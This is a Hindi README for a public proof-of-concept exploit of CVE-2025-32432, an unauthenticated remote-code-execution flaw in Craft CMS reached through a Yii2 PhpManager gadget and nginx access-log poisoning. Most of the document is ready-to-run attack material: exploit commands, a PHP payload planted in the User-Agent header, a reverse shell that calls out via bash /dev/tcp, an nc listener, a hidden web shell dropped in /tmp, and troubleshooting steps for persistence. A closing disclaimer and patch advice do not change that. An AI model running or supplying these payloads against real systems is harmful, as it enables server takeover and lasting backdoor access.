
कार्यशील PoC CVE-2025-32432 के लिए - Craft CMS <= 5.6.16 बिना प्रमाणीकरण के RCE, Yii2 PhpManager गैजेट + nginx access.log पॉइज़निंग के माध्यम से
CVE-2025-32432 के लिए कार्यशील प्रूफ-ऑफ-कॉन्सेप्ट, यह Craft CMS के संस्करण 5.6.16 तक (समतुल्य कोड पथों पर 4.x और 3.x शाखाओं को भी प्रभावित करता है) में एक बिना प्रमाणीकरण के रिमोट कोड निष्पादन भेद्यता है।
खोज कीवर्ड: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit,
Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior,
nginx log poisoning Craft, unauth RCE craftcms 2025.
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'
डिफ़ॉल्ट मोड सामान्य Craft CMS इंस्टॉल को लक्षित करता है। --lab ध्वज carangueijada-20 चुनौती के लिए शामिल है, जो Craf को कस्टम सत्र कुकी के पीछे रखता है।
प्रभावित घटक: craft\controllers\AssetsController::actionGenerateTransform।
यह कार्रवाई allowAnonymous के रूप में पंजीकृत है, इसलिए कोई प्रमाणीकरण आवश्यक नहीं है। यह एक POST पैरामीटर handle स्वीकार करता है जिसे फिर Craft::createObject() कॉल में spread किया जाता है:
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);
जब $handle हमलावर के नियंत्रण में एक साहचर्य सरणी है, तो spread कंस्ट्रक्टर कॉन्फ़िग में मनमानी कुंजियाँ इंजेक्ट करता है। विशेष रूप से, as से शुरू होने वाली कुंजी को yii\base\Component::__set एक व्यवहार अटैचमेंट के रूप में व्याख्या करता है, जो किसी भी प्रकार की जाँच से पहले Yii::createObject($config) को मान पर कॉल करता है:
elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
$this->attachBehavior(
$name,
$value instanceof Behavior ? $value : Yii::createObject($value),
);
return;
}
Yii2 के 2.0.50 में फिक्स ने इस शाखा की रक्षा के लिए is_subclass_of($value['class'], Behavior::class) जोड़ा; असुरक्षित इंस्टॉल (Yii2 <= 2.0.49, या पहले से पैच किए गए चेक) इस गार्ड को पूरी तरह से छोड़ देते हैं।
yii\rbac\PhpManagerPhpManager एक स्टॉक Yii2 क्लास है। इसका init() load() कॉल करता है, जो loadFromFile($this->itemFile) कॉल करता है। loadFromFile शाब्दिक रूप से है:
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
require डिस्क पर किसी भी फ़ाइल को PHP के रूप में पार्स करता है। यदि फ़ाइल में <?php ... ?> ब्लॉक है, तो वह ब्लॉक वर्कर में चलता है। itemFile को एक ऐसी फ़ाइल पर इंगित करके जिसकी सामग्री हमलावर नियंत्रित करता है, पूर्ण RCE प्राप्त होता है।
access.logभरोसेमंद क्रॉस-इंस्टॉल सिंक nginx का संयुक्त प्रारूप access.log है। यह अनुरोध User-Agent को शाब्दिक रूप से रिकॉर्ड करता है, जिसमें गैर-मुद्रण योग्य वर्ण और अधिकांश विराम चिह्न शामिल हैं। User-Agent को <?php system('id'); exit; ?> के साथ एक अनुरोध भेजकर, हमलावर एक ज्ञात पथ पर एक PHP ब्लॉक लगाता है। itemFile को /var/log/nginx/access.log पर इंगित करने के बाद require लॉग को पार्स करता है, और प्रत्येक <?php ... ?> ब्लॉक को क्रम में निष्पादित करता है।
दो बारीकियाँ महत्वपूर्ण हैं:
" को \x22 में बदलता है, जो लाइन की PHP पार्सिंग को तोड़ देता है। एकल उद्धरण या chr() संयोजन का उपयोग करें।exit; ताकि require बाद की लॉग लाइनों को पार्स करने से पहले रुक जाए, जिनमें अन्य विकृत पेलोड हो सकते हैं।| घटक | असुरक्षित संस्करण | पैच संस्करण |
|---|---|---|
| Craft CMS | <= 5.6.16 | 5.6.17 |
| Craft CMS | <= 4.15.2 | 4.15.3 |
| Craft CMS | <= 3.9.14 | 3.9.15 |
| Yii2 | <= 2.0.49 | 2.0.50 |
Craft 5.6.17 ट्रांसफ़ॉर्मर क्लास पर एक ImageTransformerInterface जाँच जोड़ता है। Yii2 2.0.50 Component::__set में एक Behavior उपवर्ग जाँच जोड़ता है। कोई भी फिक्स इस सटीक गैजेट श्रृंखला को बंद कर देता है।
requests लाइब्रेरी (pip install -r requirements.txt)assetId। डिफ़ॉल्ट 2; यदि आवश्यक हो तो -a <id> से ओवरराइड करें (एसेट आइडी 1 आमतौर पर एडमिन अवतार है)।python3 exploit.py -u http://victim.tld -c 'id'
python3 exploit.py -u http://victim.tld -p /cms -c 'id'
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'
itemFile (अलग लॉग पथ, FPM सत्र, आदि)python3 exploit.py -u http://victim.tld \
-i /var/log/apache2/access.log \
-c 'id'
carangueijada-20 लैब Craft इंस्टॉल को PATCH /login द्वारा जारी coopsess कुकी के पीछे रखता है। --lab ध्वज उस हैंडशेक को स्वचालित रूप से संभालता है।
python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
-c 'id; uname -a'
सुनिश्चित करें कि www.carangueijada.coop लैब IP पर हल हो (यदि आवश्यक हो तो /etc/hosts में जोड़ें)।
--revshell ध्वज एक bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 कनेक्ट-बैक फायर करता है, जो बैकग्राउंड में चलता है ताकि गैजेट POST तुरंत वापस आ जाए।
दो-टर्मिनल प्रवाह (सबसे विश्वसनीय):
# टर्मिनल 1 - आपकी मशीन पर सुनने वाला
nc -lvnp 4444
# टर्मिनल 2 - एक्सप्लॉइट फायर करें
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444
बिल्ट-इन सुनने वाले के साथ एक-टर्मिनल प्रवाह:
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444 \
--auto-listen
--auto-listen पेलोड फायर करने से पहले उसी टर्मिनल में nc -lvnp <lport> शुरू करता है। जब आपका काम हो जाए तो Ctrl+C दबाएं।
नमूना सत्र (लैब):
$ python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
--revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*] coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*] HTTP 200
[*] Reverse shell fired.
# in the listener:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$
शेल को स्थिर करना (कनेक्ट होने के बाद, रिवर्स शेल के अंदर चलाएँ):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z to background nc
stty raw -echo; fg
# Enter twice
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200
पहले रन पर, एक्सप्लॉइट एक बार access.log को पॉइज़न करता है ताकि /tmp/.cve32432_w.php पर एक छिपा हुआ PHP रैपर गिरा सके। रैपर X-Cmd HTTP हेडर को पढ़ता है और system($_SERVER['HTTP_X_CMD']) चलाता है। प्रत्येक बाद के डिस्पैच itemFile को रैपर फ़ाइल पर इंगित करता है और कमांड को हेडर के माध्यम से पास करता है। कोई और पॉइज़निंग नहीं, कोई और लॉग प्रदूषण नहीं, कोई और "पहले <?php exit; ब्लॉक जीतता है" विफलता नहीं।
यदि आप फिर से गिराने के लिए मजबूर करना चाहते हैं, तो लक्ष्य पर /tmp/.cve32432_w.php हटाएँ (आप इसे रैपर के माध्यम से स्वयं कर सकते हैं: --cmd 'rm /tmp/.cve32432_w.php')।
नए लक्ष्य के विरुद्ध सफल रन:
[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*] CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*] poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*] HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux
प्रदूषित-लॉग फ़ॉलबैक (लक्ष्य पहले से ही शोषित हो चुका है, पुराना पेलोड आपके पहले बाहर निकलता है):
[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
POST /actions/assets/generate-transform AssetsController::actionGenerateTransform तक पहुँचता है।$config = ['class' => ImageTransform::class, ...$handle] बनाता है। हमारा handle[as gadget] spread से बच जाता है।Craft::createObject($config) Yii::$container->get(ImageTransform::class, [], $config) कॉल करता है, जो ImageTransform को इंस्टैंशिएट करता है और शेष कॉन्फ़िग कुंजियों को $transform->{$key} = $value के माध्यम से लिखता है।as gadget पर पहुँचता है, तो Component::__set as उपसर्ग से मेल खाता है और Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log']) कॉल करता है।Yii::createObject PhpManager का निर्माण करता है, __construct() और फिर init() चलाता है।PhpManager::init() -> load() -> loadFromFile($this->itemFile) -> require '/var/log/nginx/access.log'।<?php ... ?> ब्लॉक वर्कर में निष्पादित होते हैं।system($cmd) और exit; चलाता है। आउटपुट रिस्पॉन्स बॉडी में प्रकट होता है जहाँ <?php ब्लॉक पाठ्य रूप से स्थित था।| लक्षण | कारण | समाधान |
|---|---|---|
HTTP 400 + "could not verify your data submission" / "Pedido invalido" | CSRF टोकन POST में उपयोग की गई कुकी से बंधा नहीं है | स्क्रिप्ट एकल requests.Session का उपयोग करती है; यदि आप पुनः कार्यान्वित करते हैं, तो सुनिश्चित करें कि कुकी जार CRAFT_CSRF_TOKEN को session-info और POST के बीच बनाए रखे। |
/actions/... पर HTTP 403 | पथ उपसर्ग या वर्चुअल होस्ट गलत | Craft जहाँ माउंट है, उससे मेल खाने के लिए -p /prefix का उपयोग करें; सुनिश्चित करें कि Host हेडर इंस्टॉल से मेल खाता हो। |
csrfTokenValue खाली / session-info HTML लौटाता है | गलत Accept हेडर | स्क्रिप्ट पहले से Accept: application/json भेजती है; यदि आप इसे हटाते हैं, तो इसे पुनर्स्थापित करें। |
| आउटपुट कभी आपका कमांड नहीं दिखाता | access.log में पहले से एक पुराना <?php ... exit; ?> पेलोड है जो पहले चलता है | लक्ष्य पर लॉग को रोटेट / ट्रंकेट करें। यदि आपके पास केवल RCE-as-id है, तो अगले logrotate की प्रतीक्षा करें, या एक लिखने योग्य PHP फ़ाइल (जैसे /tmp/wrapper.php system($_SERVER['HTTP_X_CMD']); के साथ) के माध्यम से पिवट करें और आगे के लिए उसे itemFile के रूप में उपयोग करें। |
assetId not found | उस इंस्टॉल के लिए गलत ID | सार्वजनिक एसेट URL ब्राउज़ करके IDs की गणना करें, या -a 1 फिर -a 3..N आज़माएँ। |
| पैच किया गया लक्ष्य | Craft >= 5.6.17 या Yii2 >= 2.0.50 | श्रृंखला बंद है; या तो कोई अन्य असुरक्षित क्लास खोजें या आगे बढ़ें। |
| पेलोड PHP घातक त्रुटि ट्रिगर करता है | पुरानी लॉग प्रविष्टियों में विकृत PHP है जो आपके ब्लॉक से पहले पार्सर को तोड़ देती है | प्रदूषित-लॉग समाधान के समान: लॉग को रोटेट करें। |
यदि आप केवल विश्वसनीय रूप से id चला सकते हैं (क्योंकि एक पुराना exit; पॉइज़न ने श्रृंखला को लॉक कर दिया है), तो एक व्यवहार्य पिवट यह है कि उस एक id-श्रेणी के कमांड को एक PHP रैपर को आपके नियंत्रण वाले पथ पर लिखने के लिए बनाएँ, फिर सभी बाद के अनुरोधों के लिए itemFile को उस पथ पर बदलें:
# एक-शॉट पॉइज़न जो /tmp/w.php को www-data के रूप में गिराने का कमांड भेजता है
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# CMD को chr() के रूप में एन्कोड करें ...
फिर कॉल करें:
python3 exploit.py -u http://victim.tld \
-i /tmp/w.php \
-c 'whoami'
प्रत्येक बाद का डिस्पैच /tmp/w.php (हमारे पेलोड से पहले कुछ भी नहीं के साथ एक साफ PHP फ़ाइल) पढ़ता है और X-Cmd हेडर से कमांड चलाता है। यदि आप इसे बिल्ट-इन मोड के रूप में चाहते हैं तो स्क्रिप्ट को अनुकूलित करें।
.
├── exploit.py # PoC
├── README.md # यह फ़ाइल
├── requirements.txt # Python निर्भरताएँ (बस `requests`)
└── LICENSE # MIT
Component.php (असुरक्षित संशोधन): https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.phpयह प्रूफ-ऑफ-कॉन्सेप्ट रक्षात्मक अनुसंधान, शैक्षिक उपयोग और अधिकृत पैठ परीक्षण के लिए प्रकाशित किया गया है। इसे उन सिस्टमों के विरुद्ध चलाना जिनके आप मालिक नहीं हैं या जिनके परीक्षण की लिखित अनुमति नहीं है, अधिकांश क्षेत्राधिकारों में अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करता है।
यदि आप एक Craft CMS इंस्टॉल का रखरखाव करते हैं, तो 5.6.17 या बाद के संस्करण (या संबंधित 4.x / 3.x पैच रिलीज़) में अपग्रेड करें। यह भेद्यता तुच्छ रूप से शोषणीय है और SensePost द्वारा प्रलेखित वास्तविक दुनिया के अभियानों में उपयोग की गई थी।
MIT. देखें LICENSE।